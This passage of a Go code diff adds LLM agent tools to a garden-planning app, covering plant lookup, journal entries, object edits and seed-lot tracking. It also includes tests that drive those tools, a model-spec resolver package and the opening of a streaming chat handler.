t.Fatal("expected the turn to fail")
}
// The move committed, so it must be in history and undoable.
after, _, herr := svc.GardenHistory(ctx, owner, g.ID, 0, 0)
if herr != nil {
t.Fatalf("history: %v", herr)
}
if len(after) != len(before)+1 {
t.Fatalf("the failed turn recorded %d change sets, want 1 — its work is otherwise un-undoable",
len(after)-len(before))
}
if !strings.Contains(after[0].Summary, "failed partway") {
t.Errorf("summary = %q, want it marked as partial", after[0].Summary)
}
if _, conflicts, rerr := svc.RevertChangeSet(ctx, owner, after[0].ID, domain.SourceUI); rerr != nil || len(conflicts) != 0 {
t.Fatalf("the partial turn should be undoable: err=%v conflicts=%+v", rerr, conflicts)
}
o, _ := svc.DescribeGarden(ctx, owner, g.ID)
if len(o.Objects) > 0 && o.Objects[0].XCM != bed.XCM {
t.Errorf("undo left the bed at %v, want %v", o.Objects[0].XCM, bed.XCM)
}
}
// TestTurnSummaryTrimsByRunes — slicing a byte offset would cut a multibyte
// character in half and store invalid UTF-8 in the history summary.
func TestTurnSummaryTrimsByRunes(t *testing.T) {
// 200 multibyte runes: a byte slice at 120 would land mid-character.
got := turnSummary(strings.Repeat("🌱", 200))
if !utf8.ValidString(got) {
t.Errorf("turnSummary produced invalid UTF-8: %q", got)
}
if !strings.HasSuffix(got, "…") {
t.Errorf("long summary should be elided, got %q", got)
}
if n := utf8.RuneCountInString(got); n > 121 {
t.Errorf("summary is %d runes, want it trimmed", n)
}
}
+176 -5
View File
@@ -1,5 +1,3 @@
//go:build majordomo
package agent
import (
@@ -36,11 +34,70 @@ func NewToolbox(svc *service.Service, actorID int64) *llm.Toolbox {
"Place one plop of a plant inside a plantable object, positioned in the object's LOCAL frame (0,0 = object center, -y = north).",
a.placePlanting),
llm.DefineTool("fill_region",
"Fill a named region of a plantable object with a plant, hex-packed. Region is one of nw/ne/sw/se (corners), north/south/east/west or top/bottom/left/right (halves), or all.",
"Fill part of a plantable object with one plant, hex-packed at the plant's spacing. "+
"region is a compass name, not coordinates: nw|ne|sw|se for the quarter corners, "+
"north|south|east|west (or top|bottom|left|right) for halves, or all for the whole thing. "+
"North is the top of the garden. Example: to replant a whole bed, clear_object then "+
"fill_region with region=all. Filling skips spots already covered by an existing plant, "+
"so it is safe to run twice.",
a.fillRegion),
llm.DefineTool("clear_object",
"Remove all plants from an object (soft-remove; history is kept).",
"Remove all plants from an object. They are soft-removed, so the planting history for past "+
"seasons is kept and the change can be undone. Use this before replanting a bed with "+
"something else.",
a.clearObject),
llm.DefineTool("find_plant",
"Look up plants in the user's catalog by name or category, to get the plantId that "+
"place_planting and fill_region need. Returns SEVERAL candidates when the query is "+
"ambiguous — \"garlic\" may match both the built-in \"Garlic\" and a custom \"German Red "+
"Garlic\" — so pick the one that fits what the user asked for, or ask them which. Each "+
"result also reports how much seed the user has left of it, when they have recorded any.",
a.findPlant),
llm.DefineTool("create_plant",
"Add a new plant to the user's own catalog, for when they name a variety that isn't in it "+
"yet. Check find_plant first — creating a duplicate of something that already exists is "+
"worse than reusing it. The plant belongs to the user, not to any garden.",
a.createPlant),
llm.DefineTool("add_journal_entry",
"Write a dated observation into the garden's grow journal — what happened, and when. "+
"Attach it to one bed with objectId when it is about that bed. This is for events "+
"(\"powdery mildew on the west bed\", \"first frost\"), not for descriptions of what a "+
"thing is. observedAt defaults to today; set it to backdate.",
a.addJournalEntry),
llm.DefineTool("read_journal",
"Read back the garden's grow journal — the observations add_journal_entry wrote. "+
"Narrow it with objectId (one bed), or a from/to date range (YYYY-MM-DD). Most "+
"recently observed first. Use this to answer \"what did I note about the west bed?\" "+
"or \"what happened last spring?\".",
a.readJournal),
llm.DefineTool("update_object",
"Change an existing object: resize it (widthCm/heightCm), rotate it (rotationDeg), "+
"rename it (name), or toggle whether it can hold plants (plantable). Only the fields "+
"you pass change. Needs the object's current version from describe_garden. Example: "+
"\"make that bed 60cm wider\" — read its widthCm from describe_garden, add 60, pass the "+
"sum.",
a.updateObject),
llm.DefineTool("delete_object",
"Delete an object from a garden entirely, along with its plantings. This is the "+
"counterpart to create_object — use it for \"remove the old grow bag\". Permanent (not "+
"the same as clearing a bed's plants); prefer clear_object when the bed itself stays.",
a.deleteObject),
llm.DefineTool("remove_planting",
"Remove ONE plop from a bed, leaving the rest — the single-plant answer to clear_object's "+
"all-or-nothing. Soft-removes it (kept for planting history, undoable), like clearing a "+
"bed does. Needs the plop's id and version from describe_garden. Use for \"pull the "+
"basil out of the corner\".",
a.removePlanting),
llm.DefineTool("list_seed_lots",
"List the seed lots (purchases) the user has recorded — vendor, quantity, and what's "+
"left — optionally for one plant via plantId. This is the detail behind the \"seed "+
"remaining\" number find_plant reports.",
a.listSeedLots),
llm.DefineTool("record_seed_lot",
"Record a seed purchase for a plant the user owns, so pansy can track how much is left. "+
"Get the plantId from find_plant first. quantity + unit is what was bought (e.g. 2 "+
"\"packets\", or 500 \"seeds\"). Use for \"I bought two packets of Cherokee Purple\".",
a.recordSeedLot),
)
}
@@ -104,8 +161,45 @@ func (a *adapter) fillRegion(ctx context.Context, args struct {
Region string `json:"region" description:"nw|ne|sw|se corner, north|south|east|west (or top|bottom|left|right) half, or all"`
PlantID int64 `json:"plantId" description:"plant to fill with"`
SpacingOverride *float64 `json:"spacingOverrideCm" description:"optional in-row spacing override in cm; omit to use the plant's spacing"`
Mode string `json:"mode" enum:"clump,grid" description:"clump (default) drops a few fat clumps for a quick sketch; grid lays out individual plants in rows at true spacing, a layout you could plant from"`
}) (any, error) {
return a.svc.FillNamedRegion(ctx, a.actor, args.ObjectID, args.Region, args.PlantID, args.SpacingOverride)
return a.svc.FillNamedRegion(ctx, a.actor, args.ObjectID, args.Region, args.PlantID, args.SpacingOverride, service.FillLayout(args.Mode))
}
func (a *adapter) findPlant(ctx context.Context, args struct {
Query string `json:"query" description:"plant name or category to search for, e.g. \"cucumber\" or \"herb\"; empty lists the catalog"`
}) (any, error) {
return a.svc.FindPlants(ctx, a.actor, args.Query)
}
func (a *adapter) createPlant(ctx context.Context, args struct {
Name string `json:"name" description:"the variety's name, e.g. \"German Red Garlic\""`
Category string `json:"category" description:"vegetable | herb | flower | fruit | tree_shrub | cover"`
SpacingCM float64 `json:"spacingCm" description:"mature in-row spacing in cm; this is what fill_region packs to"`
Color string `json:"color" description:"hex color for the plant on the canvas, e.g. #8a5a8a"`
Icon string `json:"icon" description:"a single emoji to draw it with, e.g. 🧄"`
DaysToMaturity *int `json:"daysToMaturity" description:"optional days from planting to harvest"`
SourceURL string `json:"sourceUrl" description:"optional http(s) link to where the seed came from"`
Vendor string `json:"vendor" description:"optional vendor name, e.g. \"Johnny\u0027s Selected Seeds\""`
}) (any, error) {
return a.svc.CreatePlant(ctx, a.actor, service.PlantInput{
Name: args.Name, Category: args.Category, SpacingCM: args.SpacingCM,
Color: args.Color, Icon: args.Icon, DaysToMaturity: args.DaysToMaturity,
SourceURL: args.SourceURL, Vendor: args.Vendor,
})
}
func (a *adapter) addJournalEntry(ctx context.Context, args struct {
GardenID int64 `json:"gardenId" description:"garden the observation is about"`
ObjectID *int64 `json:"objectId" description:"optional bed the observation is about; omit for a garden-level note"`
Body string `json:"body" description:"what happened, in plain words"`
ObservedAt string `json:"observedAt" description:"optional date it happened, YYYY-MM-DD; defaults to today"`
}) (any, error) {
in := service.JournalInput{ObjectID: args.ObjectID, Body: args.Body}
if args.ObservedAt != "" {
in.ObservedAt = &args.ObservedAt
}
return a.svc.CreateJournalEntry(ctx, a.actor, args.GardenID, in)
}
func (a *adapter) clearObject(ctx context.Context, args struct {
@@ -117,3 +211,80 @@ func (a *adapter) clearObject(ctx context.Context, args struct {
}
return map[string]int{"cleared": n}, nil
}
func (a *adapter) readJournal(ctx context.Context, args struct {
GardenID int64 `json:"gardenId" description:"garden whose journal to read"`
ObjectID *int64 `json:"objectId" description:"optional bed to narrow to; omit for the whole garden"`
From string `json:"from" description:"optional earliest observed date, YYYY-MM-DD"`
To string `json:"to" description:"optional latest observed date, YYYY-MM-DD"`
Offset int `json:"offset" description:"how many entries to skip; pass the count you've already seen to page when hasMore is true"`
}) (any, error) {
q := service.JournalQuery{ObjectID: args.ObjectID, Limit: 50, Offset: args.Offset}
if args.From != "" {
q.From = &args.From
}
if args.To != "" {
q.To = &args.To
}
entries, hasMore, err := a.svc.ListJournal(ctx, a.actor, args.GardenID, q)
if err != nil {
return nil, err
}
// hasMore is actionable now: re-call with offset += len(entries) to page.
return map[string]any{"entries": entries, "hasMore": hasMore}, nil
}
func (a *adapter) updateObject(ctx context.Context, args struct {
ObjectID int64 `json:"objectId" description:"object to change"`
Version int64 `json:"version" description:"the object's current version (from describe_garden)"`
Name *string `json:"name" description:"optional new label"`
WidthCM *float64 `json:"widthCm" description:"optional new width in cm (a circle's diameter)"`
HeightCM *float64 `json:"heightCm" description:"optional new height in cm"`
RotationDeg *float64 `json:"rotationDeg" description:"optional new rotation in degrees"`
Plantable *bool `json:"plantable" description:"optional: whether the object can hold plants"`
}) (any, error) {
return a.svc.UpdateObject(ctx, a.actor, args.ObjectID, service.ObjectPatch{
Name: args.Name, WidthCM: args.WidthCM, HeightCM: args.HeightCM,
RotationDeg: args.RotationDeg, Plantable: args.Plantable,
}, args.Version)
}
func (a *adapter) deleteObject(ctx context.Context, args struct {
ObjectID int64 `json:"objectId" description:"object to delete (with its plantings)"`
}) (any, error) {
if err := a.svc.DeleteObject(ctx, a.actor, args.ObjectID); err != nil {
return nil, err
}
return map[string]any{"deleted": args.ObjectID}, nil
}
func (a *adapter) removePlanting(ctx context.Context, args struct {
PlantingID int64 `json:"plantingId" description:"plop to remove (its id from describe_garden)"`
Version int64 `json:"version" description:"the plop's current version (from describe_garden)"`
}) (any, error) {
// Soft-remove via the service, so removed_at is stamped from the same
// (injectable) clock clear_object uses rather than the adapter's wall clock.
return a.svc.RemovePlanting(ctx, a.actor, args.PlantingID, args.Version)
}
func (a *adapter) listSeedLots(ctx context.Context, args struct {
PlantID *int64 `json:"plantId" description:"optional: only lots for this plant"`
}) (any, error) {
return a.svc.ListSeedLots(ctx, a.actor, args.PlantID)
}
func (a *adapter) recordSeedLot(ctx context.Context, args struct {
PlantID int64 `json:"plantId" description:"plant the seed is for (from find_plant); must be the user's own or a built-in"`
Quantity float64 `json:"quantity" description:"how much was bought, in the given unit"`
Unit string `json:"unit" description:"what quantity counts, e.g. packets | seeds | grams"`
Vendor string `json:"vendor" description:"optional vendor name"`
SourceURL string `json:"sourceUrl" description:"optional http(s) link to where it was bought"`
PackedForYear *int `json:"packedForYear" description:"optional 'packed for' year from the packet"`
Notes string `json:"notes" description:"optional free-text notes"`
}) (any, error) {
return a.svc.CreateSeedLot(ctx, a.actor, service.SeedLotInput{
PlantID: args.PlantID, Quantity: args.Quantity, Unit: args.Unit,
Vendor: args.Vendor, SourceURL: args.SourceURL,
PackedForYear: args.PackedForYear, Notes: args.Notes,
})
}
+359 -22
View File
@@ -1,10 +1,9 @@
//go:build majordomo
package agent
import (
"context"
"encoding/json"
"strings"
"testing"
"gitea.stevedudenhoeffer.com/steve/majordomo/llm"
@@ -24,21 +23,8 @@ import (
// Build/run with: go test -tags majordomo ./internal/agent/
func TestToolboxScenario(t *testing.T) {
ctx := context.Background()
db, err := store.Open(":memory:")
if err != nil {
t.Fatalf("open: %v", err)
}
t.Cleanup(func() { db.Close() })
if err := db.Migrate(ctx); err != nil {
t.Fatalf("migrate: %v", err)
}
svc := service.New(db, &config.Config{Registration: config.RegistrationOpen, LocalAuth: true})
owner, err := svc.Register(ctx, service.RegisterInput{Email: "[email protected]", DisplayName: "A", Password: "password123"})
if err != nil {
t.Fatalf("register: %v", err)
}
box := NewToolbox(svc, owner.ID)
svc, ownerID := newAgentTestService(t)
box := NewToolbox(svc, ownerID)
call := func(name string, args any) llm.ToolResult {
t.Helper()
@@ -48,13 +34,13 @@ func TestToolboxScenario(t *testing.T) {
// Garden + plants are set up directly (there are no create_garden/plant tools);
// the agent-facing bits — object + fills + describe — go through the toolbox.
g, err := svc.CreateGarden(ctx, owner.ID, service.GardenInput{Name: "Plot", WidthCM: 2000, HeightCM: 2000})
g, err := svc.CreateGarden(ctx, ownerID, service.GardenInput{Name: "Plot", WidthCM: 2000, HeightCM: 2000})
if err != nil {
t.Fatalf("garden: %v", err)
}
garlic := mustPlant(t, svc, owner.ID, "Garlic", 15, "🧄")
basil := mustPlant(t, svc, owner.ID, "Basil", 25, "🌿")
beans := mustPlant(t, svc, owner.ID, "Beans", 10, "🫘")
garlic := mustPlant(t, svc, ownerID, "Garlic", 15, "🧄")
basil := mustPlant(t, svc, ownerID, "Basil", 25, "🌿")
beans := mustPlant(t, svc, ownerID, "Beans", 10, "🫘")
// create_object → a 400×400 bed.
res := call("create_object", map[string]any{
@@ -119,7 +105,7 @@ func TestToolboxScenario(t *testing.T) {
if err != nil {
t.Fatalf("register viewer: %v", err)
}
if _, err := svc.AddShare(ctx, owner.ID, g.ID, "[email protected]", domain.RoleViewer); err != nil {
if _, err := svc.AddShare(ctx, ownerID, g.ID, "[email protected]", domain.RoleViewer); err != nil {
t.Fatalf("share: %v", err)
}
viewerBox := NewToolbox(svc, viewerUser.ID)
@@ -150,3 +136,354 @@ func mustPlant(t *testing.T, svc *service.Service, owner int64, name string, spa
}
return p
}
// TestGarlicBedToCucumbers is the flagship interaction from #58, driven end to
// end through the tool layer: "change the garlic garden bed to instead be
// cucumbers this year".
//
// The sequence is the one a model would actually run — describe to find the bed,
// find_plant to turn the word "cucumber" into an id, clear, refill — and until
// find_plant existed step three had no way to get its plantId, which blocked the
// whole thing on one missing tool.
func TestGarlicBedToCucumbers(t *testing.T) {
ctx := context.Background()
svc, owner := newAgentTestService(t)
box := NewToolbox(svc, owner)
call := func(name string, args any) llm.ToolResult {
t.Helper()
raw, _ := json.Marshal(args)
return box.Execute(ctx, llm.ToolCall{ID: "1", Name: name, Arguments: raw})
}
g, err := svc.CreateGarden(ctx, owner, service.GardenInput{Name: "Plot", WidthCM: 2000, HeightCM: 2000})
if err != nil {
t.Fatalf("garden: %v", err)
}
garlic := mustPlant(t, svc, owner, "Garlic", 15, "🧄")
mustPlant(t, svc, owner, "Cucumber", 45, "🥒")
bed, err := svc.CreateObject(ctx, owner, g.ID, service.ObjectInput{
Kind: domain.KindBed, Name: "Garlic bed", XCM: 1000, YCM: 1000, WidthCM: 400, HeightCM: 400,
})
if err != nil {
t.Fatalf("bed: %v", err)
}
if _, err := svc.FillNamedRegion(ctx, owner, bed.ID, "all", garlic.ID, nil, service.FillClump); err != nil {
t.Fatalf("seed the garlic: %v", err)
}
// 1. describe_garden — "the garlic bed" resolves to an object id, because the
// description carries the NAMES of what's planted in each object.
res := call("describe_garden", map[string]any{"gardenId": g.ID})
if res.IsError {
t.Fatalf("describe_garden: %s", res.Content)
}
if !strings.Contains(res.Content, "Garlic") {
t.Fatalf("describe_garden didn't name what's planted: %s", res.Content)
}
// 2. find_plant — the step that used to be impossible.
res = call("find_plant", map[string]any{"query": "cucumber"})
if res.IsError {
t.Fatalf("find_plant: %s", res.Content)
}
var matches []struct {
ID int64 `json:"id"`
Name string `json:"name"`
}
if err := json.Unmarshal([]byte(res.Content), &matches); err != nil {
t.Fatalf("decode find_plant: %v (%s)", err, res.Content)
}
if len(matches) == 0 || matches[0].Name != "Cucumber" {
t.Fatalf("find_plant(cucumber) = %+v", matches)
}
// 3. clear_object, 4. fill_region.
if r := call("clear_object", map[string]any{"objectId": bed.ID}); r.IsError {
t.Fatalf("clear_object: %s", r.Content)
}
if r := call("fill_region", map[string]any{
"objectId": bed.ID, "region": "all", "plantId": matches[0].ID,
}); r.IsError {
t.Fatalf("fill_region: %s", r.Content)
}
// The bed is cucumbers, and no garlic is still growing in it.
full, err := svc.GardenFull(ctx, owner, g.ID, nil)
if err != nil {
t.Fatalf("GardenFull: %v", err)
}
if len(full.Plantings) == 0 {
t.Fatal("the bed ended up empty")
}
for _, p := range full.Plantings {
if p.PlantID == garlic.ID {
t.Errorf("garlic is still active in the bed")
}
if p.PlantID != matches[0].ID {
t.Errorf("unexpected plant %d in the bed", p.PlantID)
}
}
}
// TestFindPlantReturnsCandidatesNotAGuess — "garlic" against a catalog holding
// both "Garlic" and "German Red Garlic" is genuinely ambiguous, and silently
// picking one is how the agent plants the wrong thing.
func TestFindPlantReturnsCandidatesNotAGuess(t *testing.T) {
ctx := context.Background()
svc, owner := newAgentTestService(t)
box := NewToolbox(svc, owner)
mustPlant(t, svc, owner, "German Red Garlic", 15, "🧄")
raw, _ := json.Marshal(map[string]any{"query": "garlic"})
res := box.Execute(ctx, llm.ToolCall{ID: "1", Name: "find_plant", Arguments: raw})
if res.IsError {
t.Fatalf("find_plant: %s", res.Content)
}
var matches []struct {
Name string `json:"name"`
}
if err := json.Unmarshal([]byte(res.Content), &matches); err != nil {
t.Fatalf("decode: %v", err)
}
names := map[string]bool{}
for _, m := range matches {
names[m.Name] = true
}
// The built-in catalog seeds a plain "Garlic"; the custom one is ours.
if !names["Garlic"] || !names["German Red Garlic"] {
t.Errorf("find_plant(garlic) = %+v, want both the built-in and the custom variety", matches)
}
// Exact match ranks first, so a caller taking [0] gets the least surprising one.
if len(matches) > 0 && matches[0].Name != "Garlic" {
t.Errorf("first match = %q, want the exact name", matches[0].Name)
}
}
// TestCreatePlantIsUserScoped — the catalog belongs to the user, not to any
// garden, so someone with no editable garden can still name a new variety. The
// issue asks for this to be asserted rather than assumed.
func TestCreatePlantIsUserScoped(t *testing.T) {
ctx := context.Background()
svc, owner := newAgentTestService(t)
other, err := svc.Register(ctx, service.RegisterInput{Email: "[email protected]", DisplayName: "B", Password: "password123"})
if err != nil {
t.Fatalf("register: %v", err)
}
box := NewToolbox(svc, other.ID)
raw, _ := json.Marshal(map[string]any{
"name": "Painted Mountain Corn", "category": "vegetable",
"spacingCm": 30.0, "color": "#c08a3f", "icon": "🌽",
})
res := box.Execute(ctx, llm.ToolCall{ID: "1", Name: "create_plant", Arguments: raw})
if res.IsError {
t.Fatalf("create_plant: %s", res.Content)
}
var created struct {
ID int64 `json:"id"`
OwnerID *int64 `json:"ownerId"`
Name string `json:"name"`
}
if err := json.Unmarshal([]byte(res.Content), &created); err != nil {
t.Fatalf("decode: %v", err)
}
if created.OwnerID == nil || *created.OwnerID != other.ID {
t.Errorf("ownerId = %v, want the acting user %d", created.OwnerID, other.ID)
}
// And it stays theirs: the other user's catalog doesn't gain it.
ownerPlants, err := svc.ListPlants(ctx, owner)
if err != nil {
t.Fatalf("ListPlants: %v", err)
}
for _, p := range ownerPlants {
if p.Name == "Painted Mountain Corn" {
t.Error("a plant created by one user showed up in another's catalog")
}
}
}
// TestJournalToolWritesADatedObservation — "note that the west bed has mildew"
// is squarely the kind of thing you say out loud while walking around.
func TestJournalToolWritesADatedObservation(t *testing.T) {
ctx := context.Background()
svc, owner := newAgentTestService(t)
box := NewToolbox(svc, owner)
g, err := svc.CreateGarden(ctx, owner, service.GardenInput{Name: "Plot", WidthCM: 2000, HeightCM: 2000})
if err != nil {
t.Fatalf("garden: %v", err)
}
bed, err := svc.CreateObject(ctx, owner, g.ID, service.ObjectInput{
Kind: domain.KindBed, Name: "West bed", XCM: 500, YCM: 500, WidthCM: 200, HeightCM: 200,
})
if err != nil {
t.Fatalf("bed: %v", err)
}
raw, _ := json.Marshal(map[string]any{
"gardenId": g.ID, "objectId": bed.ID,
"body": "Powdery mildew on the west bed", "observedAt": "2026-08-14",
})
res := box.Execute(ctx, llm.ToolCall{ID: "1", Name: "add_journal_entry", Arguments: raw})
if res.IsError {
t.Fatalf("add_journal_entry: %s", res.Content)
}
entries, _, err := svc.ListJournal(ctx, owner, g.ID, service.JournalQuery{ObjectID: &bed.ID})
if err != nil {
t.Fatalf("ListJournal: %v", err)
}
if len(entries) != 1 {
t.Fatalf("got %d entries, want 1", len(entries))
}
if entries[0].Body != "Powdery mildew on the west bed" || entries[0].ObservedAt != "2026-08-14" {
t.Errorf("unexpected entry: %+v", entries[0])
}
if entries[0].AuthorID != owner {
t.Errorf("author = %d, want the acting user %d", entries[0].AuthorID, owner)
}
}
// TestCorrectiveTools covers the #85 gaps: the agent can now read the journal it
// could only write, resize and delete an object it could only create and move,
// pull a single plop instead of clearing the whole bed, and record/read seed
// lots. Each is driven through the tool layer the way a model would run it.
func TestCorrectiveTools(t *testing.T) {
ctx := context.Background()
svc, owner := newAgentTestService(t)
box := NewToolbox(svc, owner)
var gid int64 // set once the garden exists; the describe closure reads it.
call := func(name string, args any) llm.ToolResult {
t.Helper()
return box.Execute(ctx, llm.ToolCall{ID: "1", Name: name, Arguments: mustJSON(t, args)})
}
describe := func() service.DescribeResult {
t.Helper()
res := call("describe_garden", map[string]any{"gardenId": gid})
if res.IsError {
t.Fatalf("describe_garden: %s", res.Content)
}
var d service.DescribeResult
if err := json.Unmarshal([]byte(res.Content), &d); err != nil {
t.Fatalf("decode describe: %v", err)
}
return d
}
g, err := svc.CreateGarden(ctx, owner, service.GardenInput{Name: "Plot", WidthCM: 2000, HeightCM: 2000})
if err != nil {
t.Fatalf("garden: %v", err)
}
gid = g.ID
basil := mustPlant(t, svc, owner, "Basil", 25, "🌿")
bed, err := svc.CreateObject(ctx, owner, g.ID, service.ObjectInput{
Kind: domain.KindBed, Name: "Bed", XCM: 1000, YCM: 1000, WidthCM: 400, HeightCM: 400,
})
if err != nil {
t.Fatalf("bed: %v", err)
}
// update_object: "make that bed 100cm wider" — read the version, pass a new width.
d := describe()
if r := call("update_object", map[string]any{
"objectId": bed.ID, "version": d.Objects[0].Version, "widthCm": 500.0,
}); r.IsError {
t.Fatalf("update_object: %s", r.Content)
}
if w := describe().Objects[0].WidthCM; w != 500 {
t.Errorf("width = %v after update_object, want 500", w)
}
// place a plop, then remove_planting it by id+version — one plop, not the bed.
if r := call("place_planting", map[string]any{
"objectId": bed.ID, "plantId": basil.ID, "xCm": 0, "yCm": 0, "radiusCm": 30,
}); r.IsError {
t.Fatalf("place_planting: %s", r.Content)
}
d = describe()
if len(d.Objects[0].Plantings) != 1 {
t.Fatalf("want 1 plop before removal, got %d", len(d.Objects[0].Plantings))
}
plop := d.Objects[0].Plantings[0]
if r := call("remove_planting", map[string]any{"plantingId": plop.ID, "version": plop.Version}); r.IsError {
t.Fatalf("remove_planting: %s", r.Content)
}
if n := len(describe().Objects[0].Plantings); n != 0 {
t.Errorf("want 0 active plops after remove_planting, got %d", n)
}
// add then read the journal — the write/read asymmetry the issue flagged.
if r := call("add_journal_entry", map[string]any{
"gardenId": g.ID, "objectId": bed.ID, "body": "aphids", "observedAt": "2026-06-01",
}); r.IsError {
t.Fatalf("add_journal_entry: %s", r.Content)
}
res := call("read_journal", map[string]any{"gardenId": g.ID, "objectId": bed.ID})
if res.IsError {
t.Fatalf("read_journal: %s", res.Content)
}
var jr struct {
Entries []struct {
Body string `json:"body"`
} `json:"entries"`
}
if err := json.Unmarshal([]byte(res.Content), &jr); err != nil {
t.Fatalf("decode read_journal: %v (%s)", err, res.Content)
}
if len(jr.Entries) != 1 || jr.Entries[0].Body != "aphids" {
t.Errorf("read_journal = %+v, want the one aphids entry", jr.Entries)
}
// record then list a seed lot — the detail behind find_plant's "remaining".
if r := call("record_seed_lot", map[string]any{
"plantId": basil.ID, "quantity": 2.0, "unit": "packets", "vendor": "Johnny's",
}); r.IsError {
t.Fatalf("record_seed_lot: %s", r.Content)
}
res = call("list_seed_lots", map[string]any{"plantId": basil.ID})
if res.IsError {
t.Fatalf("list_seed_lots: %s", res.Content)
}
var lots []struct {
Quantity float64 `json:"quantity"`
Unit string `json:"unit"`
}
if err := json.Unmarshal([]byte(res.Content), &lots); err != nil {
t.Fatalf("decode list_seed_lots: %v (%s)", err, res.Content)
}
if len(lots) != 1 || lots[0].Quantity != 2 || lots[0].Unit != "packets" {
t.Errorf("list_seed_lots = %+v, want one lot of 2 packets", lots)
}
// delete_object: the counterpart to create_object.
if r := call("delete_object", map[string]any{"objectId": bed.ID}); r.IsError {
t.Fatalf("delete_object: %s", r.Content)
}
if n := len(describe().Objects); n != 0 {
t.Errorf("want 0 objects after delete_object, got %d", n)
}
}
// newAgentTestService spins up an in-memory pansy with one registered user.
func newAgentTestService(t *testing.T) (*service.Service, int64) {
t.Helper()
ctx := context.Background()
db, err := store.Open(":memory:")
if err != nil {
t.Fatalf("open: %v", err)
}
t.Cleanup(func() { db.Close() })
if err := db.Migrate(ctx); err != nil {
t.Fatalf("migrate: %v", err)
}
svc := service.New(db, &config.Config{Registration: config.RegistrationOpen, LocalAuth: true})
owner, err := svc.Register(ctx, service.RegisterInput{Email: "[email protected]", DisplayName: "A", Password: "password123"})
if err != nil {
t.Fatalf("register: %v", err)
}
return svc, owner.ID
}
+57
View File
@@ -0,0 +1,57 @@
// Package agentmodel holds the ONE place that knows how pansy turns a model spec
// into a majordomo model: which provider to register and under which token.
//
// It exists as a leaf so both internal/agent (which builds the run loop) and
// internal/service (which validates a spec before storing it as a setting) can
// share that knowledge without an import cycle — agent imports service, so the
// shared bit can live in neither of them.
package agentmodel
import (
"errors"
"fmt"
"strings"
"gitea.stevedudenhoeffer.com/steve/majordomo"
"gitea.stevedudenhoeffer.com/steve/majordomo/llm"
"gitea.stevedudenhoeffer.com/steve/majordomo/provider/ollama"
)
// registry builds the private majordomo registry pansy uses.
//
// Private, not the package-level default: pansy passes the key it was configured
// with rather than depending on ambient environment, and majordomo's own
// ollama-cloud preset reads OLLAMA_API_KEY while pansy (like gadfly) is
// configured with OLLAMA_CLOUD_API_KEY. Registering the provider explicitly
// makes that bridge visible instead of a mysterious empty token.
func registry(apiKey string) *majordomo.Registry {
reg := majordomo.New()
reg.RegisterProvider(ollama.Cloud(ollama.WithToken(apiKey)))
return reg
}
// Resolve parses a model spec against pansy's registry into a live model. The
// spec goes to Parse VERBATIM — the grammar, including comma-separated failover
// chains, is majordomo's, and re-implementing any of it here would only mean two
// places to update when it grows.
func Resolve(apiKey, spec string) (llm.Model, error) {
if strings.TrimSpace(spec) == "" {
return nil, errors.New("agentmodel: empty model spec")
}
m, err := registry(apiKey).Parse(spec)
if err != nil {
return nil, fmt.Errorf("agentmodel: resolve %q: %w", spec, err)
}
return m, nil
}
// Validate reports whether a spec resolves, without building anything the caller
// keeps — the cheap, deterministic check a settings save runs to reject a typo.
//
// It does NOT make a live call, so it needs no working key and won't catch a
// model that is merely absent upstream; that surfaces on first use. Parse
// resolving (known provider, well-formed spec) is the half worth doing eagerly.
func Validate(apiKey, spec string) error {
_, err := Resolve(apiKey, spec)
return err
}
+35
View File
@@ -0,0 +1,35 @@
package agentmodel
import "testing"
// TestValidate is what the settings PATCH relies on to reject a typo at save
// time rather than on the next chat turn.
func TestValidate(t *testing.T) {
if err := Validate("k", "ollama-cloud/glm-5.2:cloud"); err != nil {
t.Errorf("valid spec rejected: %v", err)
}
// No key needed to validate — Parse resolves the provider, it doesn't call it.
if err := Validate("", "ollama-cloud/glm-5.2:cloud"); err != nil {
t.Errorf("valid spec rejected without a key: %v", err)
}
// A comma-separated failover chain is majordomo grammar and must resolve.
if err := Validate("k", "ollama-cloud/glm-5.2:cloud,ollama-cloud/kimi-k2.6:cloud"); err != nil {
t.Errorf("failover chain rejected: %v", err)
}
for _, bad := range []string{"", " ", "nonesuch/model"} {
if err := Validate("k", bad); err == nil {
t.Errorf("Validate accepted %q", bad)
}
}
}
// TestResolveReturnsAModel confirms a good spec yields a usable model handle.
func TestResolveReturnsAModel(t *testing.T) {
m, err := Resolve("k", "ollama-cloud/glm-5.2:cloud")
if err != nil {
t.Fatalf("resolve: %v", err)
}
if m == nil {
t.Fatal("resolve returned a nil model with no error")
}
}
+306
View File
@@ -0,0 +1,306 @@
package api
import (
"context"
"encoding/json"
"errors"
"fmt"
"io"
"log/slog"
"net/http"
"sync"
"time"
mdagent "gitea.stevedudenhoeffer.com/steve/majordomo/agent"
"gitea.stevedudenhoeffer.com/steve/majordomo/llm"
"github.com/gin-gonic/gin"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/agent"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/domain"
)
// The garden assistant's chat surface (#56).
//
// Streaming, because a turn that clears a bed and replants it makes a dozen tool
// calls over tens of seconds. Without streaming that is a long silence followed
// by everything at once, which reads as a hang — and the whole design rests on
// watching the canvas change as it happens.
// keepAliveInterval is how often a quiet stream emits a comment frame. Well
// under the 3060s idle timeout typical of reverse proxies, which is the thing
// it exists to stay ahead of.
const keepAliveInterval = 20 * time.Second
// chatRequest is the body of POST /agent/chat.
type chatRequest struct {
GardenID int64 `json:"gardenId" binding:"required"`
Message string `json:"message" binding:"required"`
}
// chatEvent is one server-sent event. Exactly one field is set.
type chatEvent struct {
// Step reports a completed model round trip: which tools it called.
Step *stepEvent `json:"step,omitempty"`
// Done carries the finished turn.
Done *agent.Turn `json:"done,omitempty"`
// Error is a turn that failed, in words meant for a person.
Error string `json:"error,omitempty"`
// Warning rides alongside Done: the turn worked, but something adjacent to it
// didn't, and saying nothing would be the quieter lie.
Warning string `json:"warning,omitempty"`
}
type stepEvent struct {
Index int `json:"index"`
Tools []string `json:"tools"`
}
func (h *handlers) agentChat(c *gin.Context) {
// The route is always registered, so the assistant being off is a runtime
// state, not a missing route: answer it plainly rather than 404ing a path
// that exists. Loaded once here so a settings-driven swap mid-request can't
// make it flip between the guard and the Run call.
runner := h.agent.get()
if runner == nil {
writeAPIError(c, http.StatusServiceUnavailable, "AGENT_DISABLED", "the garden assistant isn't enabled on this instance")
return
}
var req chatRequest
if err := c.ShouldBindJSON(&req); err != nil {
writeAPIError(c, http.StatusBadRequest, "INVALID_INPUT", "a gardenId and a message are required")
return
}
actor := mustActor(c)
